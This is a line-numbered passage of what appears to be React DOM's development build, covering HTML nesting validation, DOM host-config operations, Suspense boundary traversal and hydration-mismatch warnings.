10624 ancestorInfo.nobrTagInScope = info;
10625 }
10626
10627 if (tag === 'p') {
10628 ancestorInfo.pTagInButtonScope = info;
10629 }
10630
10631 if (tag === 'li') {
10632 ancestorInfo.listItemTagAutoclosing = info;
10633 }
10634
10635 if (tag === 'dd' || tag === 'dt') {
10636 ancestorInfo.dlItemTagAutoclosing = info;
10637 }
10638
10639 return ancestorInfo;
10640 };
10641 /**
10642 * Returns whether
10643 */
10644
10645
10646 var isTagValidWithParent = function (tag, parentTag) {
10647 // First, let's check if we're in an unusual parsing mode...
10648 switch (parentTag) {
10649 // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inselect
10650 case 'select':
10651 return tag === 'option' || tag === 'optgroup' || tag === '#text';
10652
10653 case 'optgroup':
10654 return tag === 'option' || tag === '#text';
10655 // Strictly speaking, seeing an <option> doesn't mean we're in a <select>
10656 // but
10657
10658 case 'option':
10659 return tag === '#text';
10660 // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intd
10661 // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-incaption
10662 // No special behavior since these rules fall back to "in body" mode for
10663 // all except special table nodes which cause bad parsing behavior anyway.
10664 // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intr
10665
10666 case 'tr':
10667 return tag === 'th' || tag === 'td' || tag === 'style' || tag === 'script' || tag === 'template';
10668 // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intbody
10669
10670 case 'tbody':
10671 case 'thead':
10672 case 'tfoot':
10673 return tag === 'tr' || tag === 'style' || tag === 'script' || tag === 'template';
10674 // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-incolgroup
10675
10676 case 'colgroup':
10677 return tag === 'col' || tag === 'template';
10678 // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intable
10679
10680 case 'table':
10681 return tag === 'caption' || tag === 'colgroup' || tag === 'tbody' || tag === 'tfoot' || tag === 'thead' || tag === 'style' || tag === 'script' || tag === 'template';
10682 // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inhead
10683
10684 case 'head':
10685 return tag === 'base' || tag === 'basefont' || tag === 'bgsound' || tag === 'link' || tag === 'meta' || tag === 'title' || tag === 'noscript' || tag === 'noframes' || tag === 'style' || tag === 'script' || tag === 'template';
10686 // https://html.spec.whatwg.org/multipage/semantics.html#the-html-element
10687
10688 case 'html':
10689 return tag === 'head' || tag === 'body' || tag === 'frameset';
10690
10691 case 'frameset':
10692 return tag === 'frame';
10693
10694 case '#document':
10695 return tag === 'html';
10696 } // Probably in the "in body" parsing mode, so we outlaw only tag combos
10697 // where the parsing rules cause implicit opens or closes to be added.
10698 // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inbody
10699
10700
10701 switch (tag) {
10702 case 'h1':
10703 case 'h2':
10704 case 'h3':
10705 case 'h4':
10706 case 'h5':
10707 case 'h6':
10708 return parentTag !== 'h1' && parentTag !== 'h2' && parentTag !== 'h3' && parentTag !== 'h4' && parentTag !== 'h5' && parentTag !== 'h6';
10709
10710 case 'rp':
10711 case 'rt':
10712 return impliedEndTags.indexOf(parentTag) === -1;
10713
10714 case 'body':
10715 case 'caption':
10716 case 'col':
10717 case 'colgroup':
10718 case 'frameset':
10719 case 'frame':
10720 case 'head':
10721 case 'html':
10722 case 'tbody':
10723 case 'td':
10724 case 'tfoot':
10725 case 'th':
10726 case 'thead':
10727 case 'tr':
10728 // These tags are only valid with a few parents that have special child
10729 // parsing rules -- if we're down here, then none of those matched and
10730 // so we allow it only if we don't know what the parent is, as all other
10731 // cases are invalid.
10732 return parentTag == null;
10733 }
10734
10735 return true;
10736 };
10737 /**
10738 * Returns whether
10739 */
10740
10741
10742 var findInvalidAncestorForTag = function (tag, ancestorInfo) {
10743 switch (tag) {
10744 case 'address':
10745 case 'article':
10746 case 'aside':
10747 case 'blockquote':
10748 case 'center':
10749 case 'details':
10750 case 'dialog':
10751 case 'dir':
10752 case 'div':
10753 case 'dl':
10754 case 'fieldset':
10755 case 'figcaption':
10756 case 'figure':
10757 case 'footer':
10758 case 'header':
10759 case 'hgroup':
10760 case 'main':
10761 case 'menu':
10762 case 'nav':
10763 case 'ol':
10764 case 'p':
10765 case 'section':
10766 case 'summary':
10767 case 'ul':
10768 case 'pre':
10769 case 'listing':
10770 case 'table':
10771 case 'hr':
10772 case 'xmp':
10773 case 'h1':
10774 case 'h2':
10775 case 'h3':
10776 case 'h4':
10777 case 'h5':
10778 case 'h6':
10779 return ancestorInfo.pTagInButtonScope;
10780
10781 case 'form':
10782 return ancestorInfo.formTag || ancestorInfo.pTagInButtonScope;
10783
10784 case 'li':
10785 return ancestorInfo.listItemTagAutoclosing;
10786
10787 case 'dd':
10788 case 'dt':
10789 return ancestorInfo.dlItemTagAutoclosing;
10790
10791 case 'button':
10792 return ancestorInfo.buttonTagInScope;
10793
10794 case 'a':
10795 // Spec says something about storing a list of markers, but it sounds
10796 // equivalent to this check.
10797 return ancestorInfo.aTagInScope;
10798
10799 case 'nobr':
10800 return ancestorInfo.nobrTagInScope;
10801 }
10802
10803 return null;
10804 };
10805
10806 var didWarn$1 = {};
10807
10808 validateDOMNesting = function (childTag, childText, ancestorInfo) {
10809 ancestorInfo = ancestorInfo || emptyAncestorInfo;
10810 var parentInfo = ancestorInfo.current;
10811 var parentTag = parentInfo && parentInfo.tag;
10812
10813 if (childText != null) {
10814 if (childTag != null) {
10815 error('validateDOMNesting: when childText is passed, childTag should be null');
10816 }
10817
10818 childTag = '#text';
10819 }
10820
10821 var invalidParent = isTagValidWithParent(childTag, parentTag) ? null : parentInfo;
10822 var invalidAncestor = invalidParent ? null : findInvalidAncestorForTag(childTag, ancestorInfo);
10823 var invalidParentOrAncestor = invalidParent || invalidAncestor;
10824
10825 if (!invalidParentOrAncestor) {
10826 return;
10827 }
10828
10829 var ancestorTag = invalidParentOrAncestor.tag;
10830 var warnKey = !!invalidParent + '|' + childTag + '|' + ancestorTag;
10831
10832 if (didWarn$1[warnKey]) {
10833 return;
10834 }
10835
10836 didWarn$1[warnKey] = true;
10837 var tagDisplayName = childTag;
10838 var whitespaceInfo = '';
10839
10840 if (childTag === '#text') {
10841 if (/\S/.test(childText)) {
10842 tagDisplayName = 'Text nodes';
10843 } else {
10844 tagDisplayName = 'Whitespace text nodes';
10845 whitespaceInfo = " Make sure you don't have any extra whitespace between tags on " + 'each line of your source code.';
10846 }
10847 } else {
10848 tagDisplayName = '<' + childTag + '>';
10849 }
10850
10851 if (invalidParent) {
10852 var info = '';
10853
10854 if (ancestorTag === 'table' && childTag === 'tr') {
10855 info += ' Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by ' + 'the browser.';
10856 }
10857
10858 error('validateDOMNesting(...): %s cannot appear as a child of <%s>.%s%s', tagDisplayName, ancestorTag, whitespaceInfo, info);
10859 } else {
10860 error('validateDOMNesting(...): %s cannot appear as a descendant of ' + '<%s>.', tagDisplayName, ancestorTag);
10861 }
10862 };
10863 }
10864
10865 var SUPPRESS_HYDRATION_WARNING$1 = 'suppressHydrationWarning';
10866 var SUSPENSE_START_DATA = '$';
10867 var SUSPENSE_END_DATA = '/$';
10868 var SUSPENSE_PENDING_START_DATA = '$?';
10869 var SUSPENSE_FALLBACK_START_DATA = '$!';
10870 var STYLE$1 = 'style';
10871 var eventsEnabled = null;
10872 var selectionInformation = null;
10873 function getRootHostContext(rootContainerInstance) {
10874 var type;
10875 var namespace;
10876 var nodeType = rootContainerInstance.nodeType;
10877
10878 switch (nodeType) {
10879 case DOCUMENT_NODE:
10880 case DOCUMENT_FRAGMENT_NODE:
10881 {
10882 type = nodeType === DOCUMENT_NODE ? '#document' : '#fragment';
10883 var root = rootContainerInstance.documentElement;
10884 namespace = root ? root.namespaceURI : getChildNamespace(null, '');
10885 break;
10886 }
10887
10888 default:
10889 {
10890 var container = nodeType === COMMENT_NODE ? rootContainerInstance.parentNode : rootContainerInstance;
10891 var ownNamespace = container.namespaceURI || null;
10892 type = container.tagName;
10893 namespace = getChildNamespace(ownNamespace, type);
10894 break;
10895 }
10896 }
10897
10898 {
10899 var validatedTag = type.toLowerCase();
10900 var ancestorInfo = updatedAncestorInfo(null, validatedTag);
10901 return {
10902 namespace: namespace,
10903 ancestorInfo: ancestorInfo
10904 };
10905 }
10906 }
10907 function getChildHostContext(parentHostContext, type, rootContainerInstance) {
10908 {
10909 var parentHostContextDev = parentHostContext;
10910 var namespace = getChildNamespace(parentHostContextDev.namespace, type);
10911 var ancestorInfo = updatedAncestorInfo(parentHostContextDev.ancestorInfo, type);
10912 return {
10913 namespace: namespace,
10914 ancestorInfo: ancestorInfo
10915 };
10916 }
10917 }
10918 function getPublicInstance(instance) {
10919 return instance;
10920 }
10921 function prepareForCommit(containerInfo) {
10922 eventsEnabled = isEnabled();
10923 selectionInformation = getSelectionInformation();
10924 var activeInstance = null;
10925
10926 setEnabled(false);
10927 return activeInstance;
10928 }
10929 function resetAfterCommit(containerInfo) {
10930 restoreSelection(selectionInformation);
10931 setEnabled(eventsEnabled);
10932 eventsEnabled = null;
10933 selectionInformation = null;
10934 }
10935 function createInstance(type, props, rootContainerInstance, hostContext, internalInstanceHandle) {
10936 var parentNamespace;
10937
10938 {
10939 // TODO: take namespace into account when validating.
10940 var hostContextDev = hostContext;
10941 validateDOMNesting(type, null, hostContextDev.ancestorInfo);
10942
10943 if (typeof props.children === 'string' || typeof props.children === 'number') {
10944 var string = '' + props.children;
10945 var ownAncestorInfo = updatedAncestorInfo(hostContextDev.ancestorInfo, type);
10946 validateDOMNesting(null, string, ownAncestorInfo);
10947 }
10948
10949 parentNamespace = hostContextDev.namespace;
10950 }
10951
10952 var domElement = createElement(type, props, rootContainerInstance, parentNamespace);
10953 precacheFiberNode(internalInstanceHandle, domElement);
10954 updateFiberProps(domElement, props);
10955 return domElement;
10956 }
10957 function appendInitialChild(parentInstance, child) {
10958 parentInstance.appendChild(child);
10959 }
10960 function finalizeInitialChildren(domElement, type, props, rootContainerInstance, hostContext) {
10961 setInitialProperties(domElement, type, props, rootContainerInstance);
10962
10963 switch (type) {
10964 case 'button':
10965 case 'input':
10966 case 'select':
10967 case 'textarea':
10968 return !!props.autoFocus;
10969
10970 case 'img':
10971 return true;
10972
10973 default:
10974 return false;
10975 }
10976 }
10977 function prepareUpdate(domElement, type, oldProps, newProps, rootContainerInstance, hostContext) {
10978 {
10979 var hostContextDev = hostContext;
10980
10981 if (typeof newProps.children !== typeof oldProps.children && (typeof newProps.children === 'string' || typeof newProps.children === 'number')) {
10982 var string = '' + newProps.children;
10983 var ownAncestorInfo = updatedAncestorInfo(hostContextDev.ancestorInfo, type);
10984 validateDOMNesting(null, string, ownAncestorInfo);
10985 }
10986 }
10987
10988 return diffProperties(domElement, type, oldProps, newProps);
10989 }
10990 function shouldSetTextContent(type, props) {
10991 return type === 'textarea' || type === 'noscript' || typeof props.children === 'string' || typeof props.children === 'number' || typeof props.dangerouslySetInnerHTML === 'object' && props.dangerouslySetInnerHTML !== null && props.dangerouslySetInnerHTML.__html != null;
10992 }
10993 function createTextInstance(text, rootContainerInstance, hostContext, internalInstanceHandle) {
10994 {
10995 var hostContextDev = hostContext;
10996 validateDOMNesting(null, text, hostContextDev.ancestorInfo);
10997 }
10998
10999 var textNode = createTextNode(text, rootContainerInstance);
11000 precacheFiberNode(internalInstanceHandle, textNode);
11001 return textNode;
11002 }
11003 function getCurrentEventPriority() {
11004 var currentEvent = window.event;
11005
11006 if (currentEvent === undefined) {
11007 return DefaultEventPriority;
11008 }
11009
11010 return getEventPriority(currentEvent.type);
11011 }
11012 // if a component just imports ReactDOM (e.g. for findDOMNode).
11013 // Some environments might not have setTimeout or clearTimeout.
11014
11015 var scheduleTimeout = typeof setTimeout === 'function' ? setTimeout : undefined;
11016 var cancelTimeout = typeof clearTimeout === 'function' ? clearTimeout : undefined;
11017 var noTimeout = -1;
11018 var localPromise = typeof Promise === 'function' ? Promise : undefined; // -------------------
11019 var scheduleMicrotask = typeof queueMicrotask === 'function' ? queueMicrotask : typeof localPromise !== 'undefined' ? function (callback) {
11020 return localPromise.resolve(null).then(callback).catch(handleErrorInNextTick);
11021 } : scheduleTimeout; // TODO: Determine the best fallback here.
11022
11023 function handleErrorInNextTick(error) {
11024 setTimeout(function () {
11025 throw error;
11026 });
11027 } // -------------------
11028 function commitMount(domElement, type, newProps, internalInstanceHandle) {
11029 // Despite the naming that might imply otherwise, this method only
11030 // fires if there is an `Update` effect scheduled during mounting.
11031 // This happens if `finalizeInitialChildren` returns `true` (which it
11032 // does to implement the `autoFocus` attribute on the client). But
11033 // there are also other cases when this might happen (such as patching
11034 // up text content during hydration mismatch). So we'll check this again.
11035 switch (type) {
11036 case 'button':
11037 case 'input':
11038 case 'select':
11039 case 'textarea':
11040 if (newProps.autoFocus) {
11041 domElement.focus();
11042 }
11043
11044 return;
11045
11046 case 'img':
11047 {
11048 if (newProps.src) {
11049 domElement.src = newProps.src;
11050 }
11051
11052 return;
11053 }
11054 }
11055 }
11056 function commitUpdate(domElement, updatePayload, type, oldProps, newProps, internalInstanceHandle) {
11057 // Apply the diff to the DOM node.
11058 updateProperties(domElement, updatePayload, type, oldProps, newProps); // Update the props handle so that we know which props are the ones with
11059 // with current event handlers.
11060
11061 updateFiberProps(domElement, newProps);
11062 }
11063 function resetTextContent(domElement) {
11064 setTextContent(domElement, '');
11065 }
11066 function commitTextUpdate(textInstance, oldText, newText) {
11067 textInstance.nodeValue = newText;
11068 }
11069 function appendChild(parentInstance, child) {
11070 parentInstance.appendChild(child);
11071 }
11072 function appendChildToContainer(container, child) {
11073 var parentNode;
11074
11075 if (container.nodeType === COMMENT_NODE) {
11076 parentNode = container.parentNode;
11077 parentNode.insertBefore(child, container);
11078 } else {
11079 parentNode = container;
11080 parentNode.appendChild(child);
11081 } // This container might be used for a portal.
11082 // If something inside a portal is clicked, that click should bubble
11083 // through the React tree. However, on Mobile Safari the click would
11084 // never bubble through the *DOM* tree unless an ancestor with onclick
11085 // event exists. So we wouldn't see it and dispatch it.
11086 // This is why we ensure that non React root containers have inline onclick
11087 // defined.
11088 // https://github.com/facebook/react/issues/11918
11089
11090
11091 var reactRootContainer = container._reactRootContainer;
11092
11093 if ((reactRootContainer === null || reactRootContainer === undefined) && parentNode.onclick === null) {
11094 // TODO: This cast may not be sound for SVG, MathML or custom elements.
11095 trapClickOnNonInteractiveElement(parentNode);
11096 }
11097 }
11098 function insertBefore(parentInstance, child, beforeChild) {
11099 parentInstance.insertBefore(child, beforeChild);
11100 }
11101 function insertInContainerBefore(container, child, beforeChild) {
11102 if (container.nodeType === COMMENT_NODE) {
11103 container.parentNode.insertBefore(child, beforeChild);
11104 } else {
11105 container.insertBefore(child, beforeChild);
11106 }
11107 }
11108
11109 function removeChild(parentInstance, child) {
11110 parentInstance.removeChild(child);
11111 }
11112 function removeChildFromContainer(container, child) {
11113 if (container.nodeType === COMMENT_NODE) {
11114 container.parentNode.removeChild(child);
11115 } else {
11116 container.removeChild(child);
11117 }
11118 }
11119 function clearSuspenseBoundary(parentInstance, suspenseInstance) {
11120 var node = suspenseInstance; // Delete all nodes within this suspense boundary.
11121 // There might be nested nodes so we need to keep track of how
11122 // deep we are and only break out when we're back on top.
11123
11124 var depth = 0;
11125
11126 do {
11127 var nextNode = node.nextSibling;
11128 parentInstance.removeChild(node);
11129
11130 if (nextNode && nextNode.nodeType === COMMENT_NODE) {
11131 var data = nextNode.data;
11132
11133 if (data === SUSPENSE_END_DATA) {
11134 if (depth === 0) {
11135 parentInstance.removeChild(nextNode); // Retry if any event replaying was blocked on this.
11136
11137 retryIfBlockedOn(suspenseInstance);
11138 return;
11139 } else {
11140 depth--;
11141 }
11142 } else if (data === SUSPENSE_START_DATA || data === SUSPENSE_PENDING_START_DATA || data === SUSPENSE_FALLBACK_START_DATA) {
11143 depth++;
11144 }
11145 }
11146
11147 node = nextNode;
11148 } while (node); // TODO: Warn, we didn't find the end comment boundary.
11149 // Retry if any event replaying was blocked on this.
11150
11151
11152 retryIfBlockedOn(suspenseInstance);
11153 }
11154 function clearSuspenseBoundaryFromContainer(container, suspenseInstance) {
11155 if (container.nodeType === COMMENT_NODE) {
11156 clearSuspenseBoundary(container.parentNode, suspenseInstance);
11157 } else if (container.nodeType === ELEMENT_NODE) {
11158 clearSuspenseBoundary(container, suspenseInstance);
11159 } // Retry if any event replaying was blocked on this.
11160
11161
11162 retryIfBlockedOn(container);
11163 }
11164 function hideInstance(instance) {
11165 // TODO: Does this work for all element types? What about MathML? Should we
11166 // pass host context to this method?
11167 instance = instance;
11168 var style = instance.style;
11169
11170 if (typeof style.setProperty === 'function') {
11171 style.setProperty('display', 'none', 'important');
11172 } else {
11173 style.display = 'none';
11174 }
11175 }
11176 function hideTextInstance(textInstance) {
11177 textInstance.nodeValue = '';
11178 }
11179 function unhideInstance(instance, props) {
11180 instance = instance;
11181 var styleProp = props[STYLE$1];
11182 var display = styleProp !== undefined && styleProp !== null && styleProp.hasOwnProperty('display') ? styleProp.display : null;
11183 instance.style.display = dangerousStyleValue('display', display);
11184 }
11185 function unhideTextInstance(textInstance, text) {
11186 textInstance.nodeValue = text;
11187 }
11188 function clearContainer(container) {
11189 if (container.nodeType === ELEMENT_NODE) {
11190 container.textContent = '';
11191 } else if (container.nodeType === DOCUMENT_NODE) {
11192 if (container.documentElement) {
11193 container.removeChild(container.documentElement);
11194 }
11195 }
11196 } // -------------------
11197 function canHydrateInstance(instance, type, props) {
11198 if (instance.nodeType !== ELEMENT_NODE || type.toLowerCase() !== instance.nodeName.toLowerCase()) {
11199 return null;
11200 } // This has now been refined to an element node.
11201
11202
11203 return instance;
11204 }
11205 function canHydrateTextInstance(instance, text) {
11206 if (text === '' || instance.nodeType !== TEXT_NODE) {
11207 // Empty strings are not parsed by HTML so there won't be a correct match here.
11208 return null;
11209 } // This has now been refined to a text node.
11210
11211
11212 return instance;
11213 }
11214 function canHydrateSuspenseInstance(instance) {
11215 if (instance.nodeType !== COMMENT_NODE) {
11216 // Empty strings are not parsed by HTML so there won't be a correct match here.
11217 return null;
11218 } // This has now been refined to a suspense node.
11219
11220
11221 return instance;
11222 }
11223 function isSuspenseInstancePending(instance) {
11224 return instance.data === SUSPENSE_PENDING_START_DATA;
11225 }
11226 function isSuspenseInstanceFallback(instance) {
11227 return instance.data === SUSPENSE_FALLBACK_START_DATA;
11228 }
11229 function getSuspenseInstanceFallbackErrorDetails(instance) {
11230 var dataset = instance.nextSibling && instance.nextSibling.dataset;
11231 var digest, message, stack;
11232
11233 if (dataset) {
11234 digest = dataset.dgst;
11235
11236 {
11237 message = dataset.msg;
11238 stack = dataset.stck;
11239 }
11240 }
11241
11242 {
11243 return {
11244 message: message,
11245 digest: digest,
11246 stack: stack
11247 };
11248 } // let value = {message: undefined, hash: undefined};
11249 // const nextSibling = instance.nextSibling;
11250 // if (nextSibling) {
11251 // const dataset = ((nextSibling: any): HTMLTemplateElement).dataset;
11252 // value.message = dataset.msg;
11253 // value.hash = dataset.hash;
11254 // if (true) {
11255 // value.stack = dataset.stack;
11256 // }
11257 // }
11258 // return value;
11259
11260 }
11261 function registerSuspenseInstanceRetry(instance, callback) {
11262 instance._reactRetry = callback;
11263 }
11264
11265 function getNextHydratable(node) {
11266 // Skip non-hydratable nodes.
11267 for (; node != null; node = node.nextSibling) {
11268 var nodeType = node.nodeType;
11269
11270 if (nodeType === ELEMENT_NODE || nodeType === TEXT_NODE) {
11271 break;
11272 }
11273
11274 if (nodeType === COMMENT_NODE) {
11275 var nodeData = node.data;
11276
11277 if (nodeData === SUSPENSE_START_DATA || nodeData === SUSPENSE_FALLBACK_START_DATA || nodeData === SUSPENSE_PENDING_START_DATA) {
11278 break;
11279 }
11280
11281 if (nodeData === SUSPENSE_END_DATA) {
11282 return null;
11283 }
11284 }
11285 }
11286
11287 return node;
11288 }
11289
11290 function getNextHydratableSibling(instance) {
11291 return getNextHydratable(instance.nextSibling);
11292 }
11293 function getFirstHydratableChild(parentInstance) {
11294 return getNextHydratable(parentInstance.firstChild);
11295 }
11296 function getFirstHydratableChildWithinContainer(parentContainer) {
11297 return getNextHydratable(parentContainer.firstChild);
11298 }
11299 function getFirstHydratableChildWithinSuspenseInstance(parentInstance) {
11300 return getNextHydratable(parentInstance.nextSibling);
11301 }
11302 function hydrateInstance(instance, type, props, rootContainerInstance, hostContext, internalInstanceHandle, shouldWarnDev) {
11303 precacheFiberNode(internalInstanceHandle, instance); // TODO: Possibly defer this until the commit phase where all the events
11304 // get attached.
11305
11306 updateFiberProps(instance, props);
11307 var parentNamespace;
11308
11309 {
11310 var hostContextDev = hostContext;
11311 parentNamespace = hostContextDev.namespace;
11312 } // TODO: Temporary hack to check if we're in a concurrent root. We can delete
11313 // when the legacy root API is removed.
11314
11315
11316 var isConcurrentMode = (internalInstanceHandle.mode & ConcurrentMode) !== NoMode;
11317 return diffHydratedProperties(instance, type, props, parentNamespace, rootContainerInstance, isConcurrentMode, shouldWarnDev);
11318 }
11319 function hydrateTextInstance(textInstance, text, internalInstanceHandle, shouldWarnDev) {
11320 precacheFiberNode(internalInstanceHandle, textInstance); // TODO: Temporary hack to check if we're in a concurrent root. We can delete
11321 // when the legacy root API is removed.
11322
11323 var isConcurrentMode = (internalInstanceHandle.mode & ConcurrentMode) !== NoMode;
11324 return diffHydratedText(textInstance, text);
11325 }
11326 function hydrateSuspenseInstance(suspenseInstance, internalInstanceHandle) {
11327 precacheFiberNode(internalInstanceHandle, suspenseInstance);
11328 }
11329 function getNextHydratableInstanceAfterSuspenseInstance(suspenseInstance) {
11330 var node = suspenseInstance.nextSibling; // Skip past all nodes within this suspense boundary.
11331 // There might be nested nodes so we need to keep track of how
11332 // deep we are and only break out when we're back on top.
11333
11334 var depth = 0;
11335
11336 while (node) {
11337 if (node.nodeType === COMMENT_NODE) {
11338 var data = node.data;
11339
11340 if (data === SUSPENSE_END_DATA) {
11341 if (depth === 0) {
11342 return getNextHydratableSibling(node);
11343 } else {
11344 depth--;
11345 }
11346 } else if (data === SUSPENSE_START_DATA || data === SUSPENSE_FALLBACK_START_DATA || data === SUSPENSE_PENDING_START_DATA) {
11347 depth++;
11348 }
11349 }
11350
11351 node = node.nextSibling;
11352 } // TODO: Warn, we didn't find the end comment boundary.
11353
11354
11355 return null;
11356 } // Returns the SuspenseInstance if this node is a direct child of a
11357 // SuspenseInstance. I.e. if its previous sibling is a Comment with
11358 // SUSPENSE_x_START_DATA. Otherwise, null.
11359
11360 function getParentSuspenseInstance(targetInstance) {
11361 var node = targetInstance.previousSibling; // Skip past all nodes within this suspense boundary.
11362 // There might be nested nodes so we need to keep track of how
11363 // deep we are and only break out when we're back on top.
11364
11365 var depth = 0;
11366
11367 while (node) {
11368 if (node.nodeType === COMMENT_NODE) {
11369 var data = node.data;
11370
11371 if (data === SUSPENSE_START_DATA || data === SUSPENSE_FALLBACK_START_DATA || data === SUSPENSE_PENDING_START_DATA) {
11372 if (depth === 0) {
11373 return node;
11374 } else {
11375 depth--;
11376 }
11377 } else if (data === SUSPENSE_END_DATA) {
11378 depth++;
11379 }
11380 }
11381
11382 node = node.previousSibling;
11383 }
11384
11385 return null;
11386 }
11387 function commitHydratedContainer(container) {
11388 // Retry if any event replaying was blocked on this.
11389 retryIfBlockedOn(container);
11390 }
11391 function commitHydratedSuspenseInstance(suspenseInstance) {
11392 // Retry if any event replaying was blocked on this.
11393 retryIfBlockedOn(suspenseInstance);
11394 }
11395 function shouldDeleteUnhydratedTailInstances(parentType) {
11396 return parentType !== 'head' && parentType !== 'body';
11397 }
11398 function didNotMatchHydratedContainerTextInstance(parentContainer, textInstance, text, isConcurrentMode) {
11399 var shouldWarnDev = true;
11400 checkForUnmatchedText(textInstance.nodeValue, text, isConcurrentMode, shouldWarnDev);
11401 }
11402 function didNotMatchHydratedTextInstance(parentType, parentProps, parentInstance, textInstance, text, isConcurrentMode) {
11403 if (parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
11404 var shouldWarnDev = true;
11405 checkForUnmatchedText(textInstance.nodeValue, text, isConcurrentMode, shouldWarnDev);
11406 }
11407 }
11408 function didNotHydrateInstanceWithinContainer(parentContainer, instance) {
11409 {
11410 if (instance.nodeType === ELEMENT_NODE) {
11411 warnForDeletedHydratableElement(parentContainer, instance);
11412 } else if (instance.nodeType === COMMENT_NODE) ; else {
11413 warnForDeletedHydratableText(parentContainer, instance);
11414 }
11415 }
11416 }
11417 function didNotHydrateInstanceWithinSuspenseInstance(parentInstance, instance) {
11418 {
11419 // $FlowFixMe: Only Element or Document can be parent nodes.
11420 var parentNode = parentInstance.parentNode;
11421
11422 if (parentNode !== null) {
11423 if (instance.nodeType === ELEMENT_NODE) {
11424 warnForDeletedHydratableElement(parentNode, instance);
11425 } else if (instance.nodeType === COMMENT_NODE) ; else {
11426 warnForDeletedHydratableText(parentNode, instance);
11427 }
11428 }
11429 }
11430 }
11431 function didNotHydrateInstance(parentType, parentProps, parentInstance, instance, isConcurrentMode) {
11432 {
11433 if (isConcurrentMode || parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
11434 if (instance.nodeType === ELEMENT_NODE) {
11435 warnForDeletedHydratableElement(parentInstance, instance);
11436 } else if (instance.nodeType === COMMENT_NODE) ; else {
11437 warnForDeletedHydratableText(parentInstance, instance);
11438 }
11439 }
11440 }
11441 }
11442 function didNotFindHydratableInstanceWithinContainer(parentContainer, type, props) {
11443 {
11444 warnForInsertedHydratedElement(parentContainer, type);
11445 }
11446 }
11447 function didNotFindHydratableTextInstanceWithinContainer(parentContainer, text) {
11448 {
11449 warnForInsertedHydratedText(parentContainer, text);
11450 }
11451 }
11452 function didNotFindHydratableInstanceWithinSuspenseInstance(parentInstance, type, props) {
11453 {
11454 // $FlowFixMe: Only Element or Document can be parent nodes.
11455 var parentNode = parentInstance.parentNode;
11456 if (parentNode !== null) warnForInsertedHydratedElement(parentNode, type);
11457 }
11458 }
11459 function didNotFindHydratableTextInstanceWithinSuspenseInstance(parentInstance, text) {
11460 {
11461 // $FlowFixMe: Only Element or Document can be parent nodes.
11462 var parentNode = parentInstance.parentNode;
11463 if (parentNode !== null) warnForInsertedHydratedText(parentNode, text);
11464 }
11465 }
11466 function didNotFindHydratableInstance(parentType, parentProps, parentInstance, type, props, isConcurrentMode) {
11467 {
11468 if (isConcurrentMode || parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
11469 warnForInsertedHydratedElement(parentInstance, type);
11470 }
11471 }
11472 }
11473 function didNotFindHydratableTextInstance(parentType, parentProps, parentInstance, text, isConcurrentMode) {
11474 {
11475 if (isConcurrentMode || parentProps[SUPPRESS_HYDRATION_WARNING$1] !== true) {
11476 warnForInsertedHydratedText(parentInstance, text);
11477 }
11478 }
11479 }
11480 function errorHydratingContainer(parentContainer) {
11481 {
11482 // TODO: This gets logged by onRecoverableError, too, so we should be
11483 // able to remove it.
11484 error('An error occurred during hydration. The server HTML was replaced with client content in <%s>.', parentContainer.nodeName.toLowerCase());
11485 }
11486 }
11487 function preparePortalMount(portalInstance) {
11488 listenToAllSupportedEvents(portalInstance);
11489 }
11490
11491 var randomKey = Math.random().toString(36).slice(2);
11492 var internalInstanceKey = '__reactFiber$' + randomKey;
11493 var internalPropsKey = '__reactProps$' + randomKey;
11494 var internalContainerInstanceKey = '__reactContainer$' + randomKey;
11495 var internalEventHandlersKey = '__reactEvents$' + randomKey;
11496 var internalEventHandlerListenersKey = '__reactListeners$' + randomKey;
11497 var internalEventHandlesSetKey = '__reactHandles$' + randomKey;
11498 function detachDeletedInstance(node) {
11499 // TODO: This function is only called on host components. I don't think all of
11500 // these fields are relevant.
11501 delete node[internalInstanceKey];
11502 delete node[internalPropsKey];
11503 delete node[internalEventHandlersKey];
11504 delete node[internalEventHandlerListenersKey];
11505 delete node[internalEventHandlesSetKey];
11506 }
11507 function precacheFiberNode(hostInst, node) {
11508 node[internalInstanceKey] = hostInst;
11509 }
11510 function markContainerAsRoot(hostRoot, node) {
11511 node[internalContainerInstanceKey] = hostRoot;
11512 }
11513 function unmarkContainerAsRoot(node) {
11514 node[internalContainerInstanceKey] = null;
11515 }
11516 function isContainerMarkedAsRoot(node) {
11517 return !!node[internalContainerInstanceKey];
11518 } // Given a DOM node, return the closest HostComponent or HostText fiber ancestor.
11519 // If the target node is part of a hydrated or not yet rendered subtree, then
11520 // this may also return a SuspenseComponent or HostRoot to indicate that.
11521 // Conceptually the HostRoot fiber is a child of the Container node. So if you
11522 // pass the Container node as the targetNode, you will not actually get the
11523 // HostRoot back. To get to the HostRoot, you need to pass a child of it.
11524 // The same thing applies to Suspense boundaries.
11525
11526 function getClosestInstanceFromNode(targetNode) {
11527 var targetInst = targetNode[internalInstanceKey];
11528
11529 if (targetInst) {
11530 // Don't return HostRoot or SuspenseComponent here.
11531 return targetInst;
11532 } // If the direct event target isn't a React owned DOM node, we need to look
11533 // to see if one of its parents is a React owned DOM node.
11534
11535
11536 var parentNode = targetNode.parentNode;
11537
11538 while (parentNode) {
11539 // We'll check if this is a container root that could include
11540 // React nodes in the future. We need to check this first because
11541 // if we're a child of a dehydrated container, we need to first
11542 // find that inner container before moving on to finding the parent
11543 // instance. Note that we don't check this field on the targetNode
11544 // itself because the fibers are conceptually between the container
11545 // node and the first child. It isn't surrounding the container node.
11546 // If it's not a container, we check if it's an instance.
11547 targetInst = parentNode[internalContainerInstanceKey] || parentNode[internalInstanceKey];
11548
11549 if (targetInst) {
11550 // Since this wasn't the direct target of the event, we might have
11551 // stepped past dehydrated DOM nodes to get here. However they could
11552 // also have been non-React nodes. We need to answer which one.
11553 // If we the instance doesn't have any children, then there can't be
